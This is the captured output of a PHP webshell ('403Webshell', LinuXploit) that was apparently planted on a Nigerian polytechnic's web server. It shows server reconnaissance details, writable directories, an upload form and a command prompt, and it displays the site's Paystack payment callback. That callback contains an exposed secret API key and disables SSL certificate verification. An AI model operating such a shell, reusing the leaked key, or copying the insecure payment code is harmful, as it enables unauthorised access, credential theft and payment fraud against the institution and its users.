403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/ace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/ace_admin_student/paystack_callback2.php
<?php
//die('here');
$result = array();
//The parameter after verify/ is the transaction reference to be verified
$url = 'https://api.paystack.co/transaction/verify/lzp3niv9swze2rw';
//die($url);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt(
    $ch, CURLOPT_HTTPHEADER, [
        'Authorization: Bearer sk_test_edd2457e85c9230f304f110c1827b9ab79769b3c']
);
$request = curl_exec($ch);
curl_close($ch);

if ($request) {
    $result = json_decode($request, true);
//     print_r($result);
    if($result){
        if($result['data']){
            //something came in
            if($result['data']['status'] == 'success'){
                // the transaction was successful, you can deliver value
                /*
                @ also remember that if this was a card transaction, you can store the
                @ card authorization to enable you charge the customer subsequently.
                @ The card authorization is in:
                @ $result['data']['authorization']['authorization_code'];
                @ PS: Store the authorization with this email address used for this transaction.
                @ The authorization will only work with this particular email.
                @ If the user changes his email on your system, it will be unusable
                */
                echo "Transaction was successful";
            }else{
                // the transaction was not successful, do not deliver value'
                // print_r($result);  //uncomment this line to inspect the result, to check why it failed.
                echo "Transaction was not successful: Last gateway response was: ".$result['data']['gateway_response'];
            }
        }else{
            echo $result['message'];
        }

    }else{
        //print_r($result);
        die("Something went wrong while trying to convert the request variable to json. Uncomment the print_r command to see what is in the result variable.");
    }
}else{
    var_dump($request);
    print_r($result['data']);
    die("Something went wrong while executing curl. Uncomment the var_dump line above this line to see what the issue is. Please check your CURL command to make sure everything is ok");
}

Youez - 2016 - github.com/yon3zu
LinuXploit